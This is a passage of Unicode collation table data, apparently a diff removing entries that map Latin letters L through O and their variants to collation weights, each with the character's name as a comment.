-1DEC  ; [.1D06.0020.0004] # COMBINING LATIN SMALL LETTER L WITH DOUBLE MIDDLE TILDE
-AB39  ; [.1D07.0020.0002] # LATIN SMALL LETTER L WITH MIDDLE RING
-026C  ; [.1D08.0020.0002] # LATIN SMALL LETTER L WITH BELT
-A7AD  ; [.1D08.0020.0008] # LATIN CAPITAL LETTER L WITH BELT
-AB37  ; [.1D0C.0020.0002] # LATIN SMALL LETTER L WITH INVERTED LAZY S
-AB5D  ; [.1D0C.0020.0014] # MODIFIER LETTER SMALL L WITH INVERTED LAZY S
-1D85  ; [.1D0D.0020.0002] # LATIN SMALL LETTER L WITH PALATAL HOOK
-1DAA  ; [.1D0D.0020.0014] # MODIFIER LETTER SMALL L WITH PALATAL HOOK
-026D  ; [.1D0E.0020.0002] # LATIN SMALL LETTER L WITH RETROFLEX HOOK
-1DA9  ; [.1D0E.0020.0014] # MODIFIER LETTER SMALL L WITH RETROFLEX HOOK
-A78E  ; [.1D12.0020.0002] # LATIN SMALL LETTER L WITH RETROFLEX HOOK AND BELT
-0234  ; [.1D13.0020.0002] # LATIN SMALL LETTER L WITH CURL
-A772  ; [.1D17.0020.0002] # LATIN SMALL LETTER LUM
-026E  ; [.1D18.0020.0002] # LATIN SMALL LETTER LEZH
-A781  ; [.1D1C.0020.0002] # LATIN SMALL LETTER TURNED L
-A780  ; [.1D1C.0020.0008] # LATIN CAPITAL LETTER TURNED L
-019B  ; [.1D1D.0020.0002] # LATIN SMALL LETTER LAMBDA WITH STROKE
-028E  ; [.1D21.0020.0002] # LATIN SMALL LETTER TURNED Y
-006D  ; [.1D25.0020.0002] # LATIN SMALL LETTER M
-FF4D  ; [.1D25.0020.0003] # FULLWIDTH LATIN SMALL LETTER M
-036B  ; [.1D25.0020.0004] # COMBINING LATIN SMALL LETTER M
-217F  ; [.1D25.0020.0004] # SMALL ROMAN NUMERAL ONE THOUSAND
-24A8  ; [*0310.0020.0004][.1D25.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER M
-1D426 ; [.1D25.0020.0005] # MATHEMATICAL BOLD SMALL M
-1D45A ; [.1D25.0020.0005] # MATHEMATICAL ITALIC SMALL M
-1D48E ; [.1D25.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL M
-1D4C2 ; [.1D25.0020.0005] # MATHEMATICAL SCRIPT SMALL M
-1D4F6 ; [.1D25.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL M
-1D52A ; [.1D25.0020.0005] # MATHEMATICAL FRAKTUR SMALL M
-1D55E ; [.1D25.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL M
-1D592 ; [.1D25.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL M
-1D5C6 ; [.1D25.0020.0005] # MATHEMATICAL SANS-SERIF SMALL M
-1D5FA ; [.1D25.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL M
-1D62E ; [.1D25.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL M
-1D662 ; [.1D25.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL M
-1D696 ; [.1D25.0020.0005] # MATHEMATICAL MONOSPACE SMALL M
-24DC  ; [.1D25.0020.0006] # CIRCLED LATIN SMALL LETTER M
-004D  ; [.1D25.0020.0008] # LATIN CAPITAL LETTER M
-FF2D  ; [.1D25.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER M
-216F  ; [.1D25.0020.000A] # ROMAN NUMERAL ONE THOUSAND
-1F11C ; [*0310.0020.0004][.1D25.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER M
-2133  ; [.1D25.0020.000B] # SCRIPT CAPITAL M
-1D40C ; [.1D25.0020.000B] # MATHEMATICAL BOLD CAPITAL M
-1D440 ; [.1D25.0020.000B] # MATHEMATICAL ITALIC CAPITAL M
-1D474 ; [.1D25.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL M
-1D4DC ; [.1D25.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL M
-1D510 ; [.1D25.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL M
-1D544 ; [.1D25.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL M
-1D578 ; [.1D25.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL M
-1D5AC ; [.1D25.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL M
-1D5E0 ; [.1D25.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL M
-1D614 ; [.1D25.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL M
-1D648 ; [.1D25.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL M
-1D67C ; [.1D25.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL M
-24C2  ; [.1D25.0020.000C] # CIRCLED LATIN CAPITAL LETTER M
-1F15C ; [.1D25.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER M
-1D50  ; [.1D25.0020.0014] # MODIFIER LETTER SMALL M
-2098  ; [.1D25.0020.0015] # LATIN SUBSCRIPT SMALL LETTER M
-1D39  ; [.1D25.0020.001D] # MODIFIER LETTER CAPITAL M
-1F13C ; [.1D25.0020.001D] # SQUARED LATIN CAPITAL LETTER M
-1F17C ; [.1D25.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER M
-1E3F  ; [.1D25.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER M WITH ACUTE
-1E3E  ; [.1D25.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER M WITH ACUTE
-1E41  ; [.1D25.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER M WITH DOT ABOVE
-1E40  ; [.1D25.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER M WITH DOT ABOVE
-1E43  ; [.1D25.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER M WITH DOT BELOW
-1E42  ; [.1D25.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER M WITH DOT BELOW
-33A1  ; [.1D25.0020.001C][.1BBA.0020.001C] # SQUARE M SQUARED
-33A5  ; [.1D25.0020.001C][.1BBB.0020.001C] # SQUARE M CUBED
-3383  ; [.1D25.0020.001C][.1BC2.0020.001D] # SQUARE MA
-33D4  ; [.1D25.0020.001C][.1BDB.0020.001C] # SQUARE MB SMALL
-3386  ; [.1D25.0020.001D][.1BDB.0020.001D] # SQUARE MB
-1F16A ; [.1D25.0020.0014][.1BF5.0020.0014] # RAISED MC SIGN
-1F16B ; [.1D25.0020.0014][.1C0A.0020.0014] # RAISED MD SIGN
-338E  ; [.1D25.0020.001C][.1C6F.0020.001C] # SQUARE MG
-3392  ; [.1D25.0020.001D][.1C93.0020.001D][.1E9C.0020.001C] # SQUARE MHZ
-33D5  ; [.1D25.0020.001C][.1CAD.0020.001C][.1CF2.0020.001C] # SQUARE MIL
-3396  ; [.1D25.0020.001C][.1CF2.0020.001C] # SQUARE ML
-339C  ; [.1D25.0020.001C][.1D25.0020.001C] # SQUARE MM
-339F  ; [.1D25.0020.001C][.1D25.0020.001C][.1BBA.0020.001C] # SQUARE MM SQUARED
-33A3  ; [.1D25.0020.001C][.1D25.0020.001C][.1BBB.0020.001C] # SQUARE MM CUBED
-33D6  ; [.1D25.0020.001C][.1D58.0020.001C][.1CF2.0020.001C] # SQUARE MOL
-33AB  ; [.1D25.0020.001D][.1D87.0020.001D][.1BC2.0020.001C] # SQUARE MPA
-33A7  ; [.1D25.0020.001C][*0605.0020.001C][.1DEC.0020.001C] # SQUARE M OVER S
-33B3  ; [.1D25.0020.001C][.1DEC.0020.001C] # SQUARE MS
-33A8  ; [.1D25.0020.001C][*0605.0020.001C][.1DEC.0020.001C][.1BBA.0020.001C] # SQUARE M OVER S SQUARED
-33B7  ; [.1D25.0020.001C][.1E5E.0020.001D] # SQUARE MV
-33B9  ; [.1D25.0020.001D][.1E5E.0020.001D] # SQUARE MV MEGA
-1F14B ; [.1D25.0020.001D][.1E5E.0020.001D] # SQUARED MV
-33BD  ; [.1D25.0020.001C][.1E70.0020.001D] # SQUARE MW
-33BF  ; [.1D25.0020.001D][.1E70.0020.001D] # SQUARE MW MEGA
-33C1  ; [.1D25.0020.001D][.1F5C.0020.001D] # SQUARE M OHM
-1D0D  ; [.1D29.0020.0002] # LATIN LETTER SMALL CAPITAL M
-1DDF  ; [.1D29.0020.0004] # COMBINING LATIN LETTER SMALL CAPITAL M
-1D6F  ; [.1D2A.0020.0002] # LATIN SMALL LETTER M WITH MIDDLE TILDE
-1D86  ; [.1D2B.0020.0002] # LATIN SMALL LETTER M WITH PALATAL HOOK
-0271  ; [.1D2C.0020.0002] # LATIN SMALL LETTER M WITH HOOK
-2C6E  ; [.1D2C.0020.0008] # LATIN CAPITAL LETTER M WITH HOOK
-1DAC  ; [.1D2C.0020.0014] # MODIFIER LETTER SMALL M WITH HOOK
-AB3A  ; [.1D30.0020.0002] # LATIN SMALL LETTER M WITH CROSSED-TAIL
-A7FD  ; [.1D31.0020.0002] # LATIN EPIGRAPHIC LETTER INVERTED M
-A7FF  ; [.1D32.0020.0002] # LATIN EPIGRAPHIC LETTER ARCHAIC M
-A773  ; [.1D33.0020.0002] # LATIN SMALL LETTER MUM
-006E  ; [.1D34.0020.0002] # LATIN SMALL LETTER N
-FF4E  ; [.1D34.0020.0003] # FULLWIDTH LATIN SMALL LETTER N
-1DE0  ; [.1D34.0020.0004] # COMBINING LATIN SMALL LETTER N
-24A9  ; [*0310.0020.0004][.1D34.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER N
-1D427 ; [.1D34.0020.0005] # MATHEMATICAL BOLD SMALL N
-1D45B ; [.1D34.0020.0005] # MATHEMATICAL ITALIC SMALL N
-1D48F ; [.1D34.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL N
-1D4C3 ; [.1D34.0020.0005] # MATHEMATICAL SCRIPT SMALL N
-1D4F7 ; [.1D34.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL N
-1D52B ; [.1D34.0020.0005] # MATHEMATICAL FRAKTUR SMALL N
-1D55F ; [.1D34.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL N
-1D593 ; [.1D34.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL N
-1D5C7 ; [.1D34.0020.0005] # MATHEMATICAL SANS-SERIF SMALL N
-1D5FB ; [.1D34.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL N
-1D62F ; [.1D34.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL N
-1D663 ; [.1D34.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL N
-1D697 ; [.1D34.0020.0005] # MATHEMATICAL MONOSPACE SMALL N
-24DD  ; [.1D34.0020.0006] # CIRCLED LATIN SMALL LETTER N
-004E  ; [.1D34.0020.0008] # LATIN CAPITAL LETTER N
-FF2E  ; [.1D34.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER N
-1F11D ; [*0310.0020.0004][.1D34.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER N
-2115  ; [.1D34.0020.000B] # DOUBLE-STRUCK CAPITAL N
-1D40D ; [.1D34.0020.000B] # MATHEMATICAL BOLD CAPITAL N
-1D441 ; [.1D34.0020.000B] # MATHEMATICAL ITALIC CAPITAL N
-1D475 ; [.1D34.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL N
-1D4A9 ; [.1D34.0020.000B] # MATHEMATICAL SCRIPT CAPITAL N
-1D4DD ; [.1D34.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL N
-1D511 ; [.1D34.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL N
-1D579 ; [.1D34.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL N
-1D5AD ; [.1D34.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL N
-1D5E1 ; [.1D34.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL N
-1D615 ; [.1D34.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL N
-1D649 ; [.1D34.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL N
-1D67D ; [.1D34.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL N
-24C3  ; [.1D34.0020.000C] # CIRCLED LATIN CAPITAL LETTER N
-1F15D ; [.1D34.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER N
-207F  ; [.1D34.0020.0014] # SUPERSCRIPT LATIN SMALL LETTER N
-2099  ; [.1D34.0020.0015] # LATIN SUBSCRIPT SMALL LETTER N
-1D3A  ; [.1D34.0020.001D] # MODIFIER LETTER CAPITAL N
-1F13D ; [.1D34.0020.001D] # SQUARED LATIN CAPITAL LETTER N
-1F17D ; [.1D34.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER N
-0144  ; [.1D34.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER N WITH ACUTE
-0143  ; [.1D34.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER N WITH ACUTE
-01F9  ; [.1D34.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER N WITH GRAVE
-01F8  ; [.1D34.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER N WITH GRAVE
-0148  ; [.1D34.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER N WITH CARON
-0147  ; [.1D34.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER N WITH CARON
-00F1  ; [.1D34.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER N WITH TILDE
-00D1  ; [.1D34.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER N WITH TILDE
-1E45  ; [.1D34.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER N WITH DOT ABOVE
-1E44  ; [.1D34.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER N WITH DOT ABOVE
-0146  ; [.1D34.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER N WITH CEDILLA
-0145  ; [.1D34.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER N WITH CEDILLA
-A7A5  ; [.1D34.0020.0004][.0000.0035.0004] # LATIN SMALL LETTER N WITH OBLIQUE STROKE
-A7A4  ; [.1D34.0020.000A][.0000.0035.0004] # LATIN CAPITAL LETTER N WITH OBLIQUE STROKE
-1E47  ; [.1D34.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER N WITH DOT BELOW
-1E46  ; [.1D34.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER N WITH DOT BELOW
-1E4B  ; [.1D34.0020.0002][.0000.0046.0002] # LATIN SMALL LETTER N WITH CIRCUMFLEX BELOW
-1E4A  ; [.1D34.0020.0008][.0000.0046.0002] # LATIN CAPITAL LETTER N WITH CIRCUMFLEX BELOW
-1E49  ; [.1D34.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER N WITH LINE BELOW
-1E48  ; [.1D34.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER N WITH LINE BELOW
-3381  ; [.1D34.0020.001C][.1BC2.0020.001D] # SQUARE NA
-1F195 ; [.1D34.0020.001D][.1C25.0020.001D][.1E70.0020.001D] # SQUARED NEW
-338B  ; [.1D34.0020.001C][.1C60.0020.001D] # SQUARE NF
-1F196 ; [.1D34.0020.001D][.1C6F.0020.001D] # SQUARED NG
-01CC  ; [.1D34.0020.0004][.1CC7.0020.0004] # LATIN SMALL LETTER NJ
-01CB  ; [.1D34.0020.000A][.1CC7.0020.0004] # LATIN CAPITAL LETTER N WITH SMALL LETTER J
-01CA  ; [.1D34.0020.000A][.1CC7.0020.000A] # LATIN CAPITAL LETTER NJ
-339A  ; [.1D34.0020.001C][.1D25.0020.001C] # SQUARE NM
-2116  ; [.1D34.0020.000A][.1D58.0020.0004] # NUMERO SIGN
-33B1  ; [.1D34.0020.001C][.1DEC.0020.001C] # SQUARE NS
-33B5  ; [.1D34.0020.001C][.1E5E.0020.001D] # SQUARE NV
-33BB  ; [.1D34.0020.001C][.1E70.0020.001D] # SQUARE NW
-0274  ; [.1D38.0020.0002] # LATIN LETTER SMALL CAPITAL N
-1DE1  ; [.1D38.0020.0004] # COMBINING LATIN LETTER SMALL CAPITAL N
-1DB0  ; [.1D38.0020.0014] # MODIFIER LETTER SMALL CAPITAL N
-1D3B  ; [.1D3C.0020.0002] # MODIFIER LETTER CAPITAL REVERSED N
-1D0E  ; [.1D3D.0020.0002] # LATIN LETTER SMALL CAPITAL REVERSED N
-1D70  ; [.1D3E.0020.0002] # LATIN SMALL LETTER N WITH MIDDLE TILDE
-0272  ; [.1D3F.0020.0002] # LATIN SMALL LETTER N WITH LEFT HOOK
-019D  ; [.1D3F.0020.0008] # LATIN CAPITAL LETTER N WITH LEFT HOOK
-1DAE  ; [.1D3F.0020.0014] # MODIFIER LETTER SMALL N WITH LEFT HOOK
-019E  ; [.1D43.0020.0002] # LATIN SMALL LETTER N WITH LONG RIGHT LEG
-0220  ; [.1D43.0020.0008] # LATIN CAPITAL LETTER N WITH LONG RIGHT LEG
-A791  ; [.1D47.0020.0002] # LATIN SMALL LETTER N WITH DESCENDER
-A790  ; [.1D47.0020.0008] # LATIN CAPITAL LETTER N WITH DESCENDER
-1D87  ; [.1D48.0020.0002] # LATIN SMALL LETTER N WITH PALATAL HOOK
-0273  ; [.1D49.0020.0002] # LATIN SMALL LETTER N WITH RETROFLEX HOOK
-1DAF  ; [.1D49.0020.0014] # MODIFIER LETTER SMALL N WITH RETROFLEX HOOK
-0235  ; [.1D4D.0020.0002] # LATIN SMALL LETTER N WITH CURL
-AB3B  ; [.1D51.0020.0002] # LATIN SMALL LETTER N WITH CROSSED-TAIL
-A774  ; [.1D52.0020.0002] # LATIN SMALL LETTER NUM
-014B  ; [.1D53.0020.0002] # LATIN SMALL LETTER ENG
-014A  ; [.1D53.0020.0008] # LATIN CAPITAL LETTER ENG
-1D51  ; [.1D53.0020.0014] # MODIFIER LETTER SMALL ENG
-AB3C  ; [.1D57.0020.0002] # LATIN SMALL LETTER ENG WITH CROSSED-TAIL
-006F  ; [.1D58.0020.0002] # LATIN SMALL LETTER O
-FF4F  ; [.1D58.0020.0003] # FULLWIDTH LATIN SMALL LETTER O
-0366  ; [.1D58.0020.0004] # COMBINING LATIN SMALL LETTER O
-24AA  ; [*0310.0020.0004][.1D58.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER O
-2134  ; [.1D58.0020.0005] # SCRIPT SMALL O
-1D428 ; [.1D58.0020.0005] # MATHEMATICAL BOLD SMALL O
-1D45C ; [.1D58.0020.0005] # MATHEMATICAL ITALIC SMALL O
-1D490 ; [.1D58.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL O
-1D4F8 ; [.1D58.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL O
-1D52C ; [.1D58.0020.0005] # MATHEMATICAL FRAKTUR SMALL O
-1D560 ; [.1D58.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL O
-1D594 ; [.1D58.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL O
-1D5C8 ; [.1D58.0020.0005] # MATHEMATICAL SANS-SERIF SMALL O
-1D5FC ; [.1D58.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL O
-1D630 ; [.1D58.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL O
-1D664 ; [.1D58.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL O
-1D698 ; [.1D58.0020.0005] # MATHEMATICAL MONOSPACE SMALL O
-24DE  ; [.1D58.0020.0006] # CIRCLED LATIN SMALL LETTER O
-004F  ; [.1D58.0020.0008] # LATIN CAPITAL LETTER O
-FF2F  ; [.1D58.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER O
-1F11E ; [*0310.0020.0004][.1D58.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER O
-1D40E ; [.1D58.0020.000B] # MATHEMATICAL BOLD CAPITAL O
-1D442 ; [.1D58.0020.000B] # MATHEMATICAL ITALIC CAPITAL O
-1D476 ; [.1D58.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL O
-1D4AA ; [.1D58.0020.000B] # MATHEMATICAL SCRIPT CAPITAL O
-1D4DE ; [.1D58.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL O
-1D512 ; [.1D58.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL O
-1D546 ; [.1D58.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL O
-1D57A ; [.1D58.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL O
-1D5AE ; [.1D58.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL O
-1D5E2 ; [.1D58.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL O
-1D616 ; [.1D58.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL O
-1D64A ; [.1D58.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL O
-1D67E ; [.1D58.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL O
-24C4  ; [.1D58.0020.000C] # CIRCLED LATIN CAPITAL LETTER O
-1F15E ; [.1D58.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER O
-00BA  ; [.1D58.0020.0014] # MASCULINE ORDINAL INDICATOR
-1D52  ; [.1D58.0020.0014] # MODIFIER LETTER SMALL O
-2092  ; [.1D58.0020.0015] # LATIN SUBSCRIPT SMALL LETTER O
-1D3C  ; [.1D58.0020.001D] # MODIFIER LETTER CAPITAL O
-1F13E ; [.1D58.0020.001D] # SQUARED LATIN CAPITAL LETTER O
-1F17E ; [.1D58.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER O
-00F3  ; [.1D58.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH ACUTE
-00D3  ; [.1D58.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH ACUTE
-00F2  ; [.1D58.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH GRAVE
-00D2  ; [.1D58.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH GRAVE
-014F  ; [.1D58.0020.0002][.0000.0026.0002] # LATIN SMALL LETTER O WITH BREVE
-014E  ; [.1D58.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER O WITH BREVE
-00F4  ; [.1D58.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
-00D4  ; [.1D58.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
-1ED1  ; [.1D58.0020.0002][.0000.0027.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE
-1ED0  ; [.1D58.0020.0008][.0000.0027.0002][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE
-1ED3  ; [.1D58.0020.0002][.0000.0027.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE
-1ED2  ; [.1D58.0020.0008][.0000.0027.0002][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE
-1ED7  ; [.1D58.0020.0002][.0000.0027.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE
-1ED6  ; [.1D58.0020.0008][.0000.0027.0002][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE
-1ED5  ; [.1D58.0020.0002][.0000.0027.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
-1ED4  ; [.1D58.0020.0008][.0000.0027.0002][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
-01D2  ; [.1D58.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER O WITH CARON
-01D1  ; [.1D58.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER O WITH CARON
-00F6  ; [.1D58.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-1DF3  ; [.1D58.0020.0004][.0000.002B.0004] # COMBINING LATIN SMALL LETTER O WITH DIAERESIS
-A79D  ; [.1D58.0020.0004][.0000.002B.0004] # LATIN SMALL LETTER VOLAPUK OE
-00D6  ; [.1D58.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS
-A79C  ; [.1D58.0020.000A][.0000.002B.0004] # LATIN CAPITAL LETTER VOLAPUK OE
-022B  ; [.1D58.0020.0002][.0000.002B.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
-022A  ; [.1D58.0020.0008][.0000.002B.0002][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
-0151  ; [.1D58.0020.0002][.0000.002C.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
-0150  ; [.1D58.0020.0008][.0000.002C.0002] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
-00F5  ; [.1D58.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH TILDE
-00D5  ; [.1D58.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH TILDE
-1E4D  ; [.1D58.0020.0002][.0000.002D.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH TILDE AND ACUTE
-1E4C  ; [.1D58.0020.0008][.0000.002D.0002][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH TILDE AND ACUTE
-1E4F  ; [.1D58.0020.0002][.0000.002D.0002][.0000.002B.0002] # LATIN SMALL LETTER O WITH TILDE AND DIAERESIS
-1E4E  ; [.1D58.0020.0008][.0000.002D.0002][.0000.002B.0002] # LATIN CAPITAL LETTER O WITH TILDE AND DIAERESIS
-022D  ; [.1D58.0020.0002][.0000.002D.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH TILDE AND MACRON
-022C  ; [.1D58.0020.0008][.0000.002D.0002][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH TILDE AND MACRON
-022F  ; [.1D58.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER O WITH DOT ABOVE
-022E  ; [.1D58.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER O WITH DOT ABOVE
-0231  ; [.1D58.0020.0002][.0000.002E.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DOT ABOVE AND MACRON
-0230  ; [.1D58.0020.0008][.0000.002E.0002][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DOT ABOVE AND MACRON
-00F8  ; [.1D58.0020.0002][.0000.002F.0002] # LATIN SMALL LETTER O WITH STROKE
-00D8  ; [.1D58.0020.0008][.0000.002F.0002] # LATIN CAPITAL LETTER O WITH STROKE
-01FF  ; [.1D58.0020.0002][.0000.002F.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE
-01FE  ; [.1D58.0020.0008][.0000.002F.0002][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
-01EB  ; [.1D58.0020.0002][.0000.0031.0002] # LATIN SMALL LETTER O WITH OGONEK
-01EA  ; [.1D58.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER O WITH OGONEK
-01ED  ; [.1D58.0020.0002][.0000.0031.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH OGONEK AND MACRON
-01EC  ; [.1D58.0020.0008][.0000.0031.0002][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH OGONEK AND MACRON
-014D  ; [.1D58.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH MACRON
-014C  ; [.1D58.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH MACRON
-1E53  ; [.1D58.0020.0002][.0000.0032.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH MACRON AND ACUTE
-1E52  ; [.1D58.0020.0008][.0000.0032.0002][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH MACRON AND ACUTE
-1E51  ; [.1D58.0020.0002][.0000.0032.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH MACRON AND GRAVE
-1E50  ; [.1D58.0020.0008][.0000.0032.0002][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH MACRON AND GRAVE
-1DED  ; [.1D58.0020.0004][.0000.0034.0004] # COMBINING LATIN SMALL LETTER O WITH LIGHT CENTRALIZATION STROKE
-1ECF  ; [.1D58.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH HOOK ABOVE
-1ECE  ; [.1D58.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH HOOK ABOVE
-020D  ; [.1D58.0020.0002][.0000.003C.0002] # LATIN SMALL LETTER O WITH DOUBLE GRAVE
-020C  ; [.1D58.0020.0008][.0000.003C.0002] # LATIN CAPITAL LETTER O WITH DOUBLE GRAVE
-020F  ; [.1D58.0020.0002][.0000.003E.0002] # LATIN SMALL LETTER O WITH INVERTED BREVE
-020E  ; [.1D58.0020.0008][.0000.003E.0002] # LATIN CAPITAL LETTER O WITH INVERTED BREVE
-01A1  ; [.1D58.0020.0002][.0000.003F.0002] # LATIN SMALL LETTER O WITH HORN
-01A0  ; [.1D58.0020.0008][.0000.003F.0002] # LATIN CAPITAL LETTER O WITH HORN
-1EDB  ; [.1D58.0020.0002][.0000.003F.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH HORN AND ACUTE
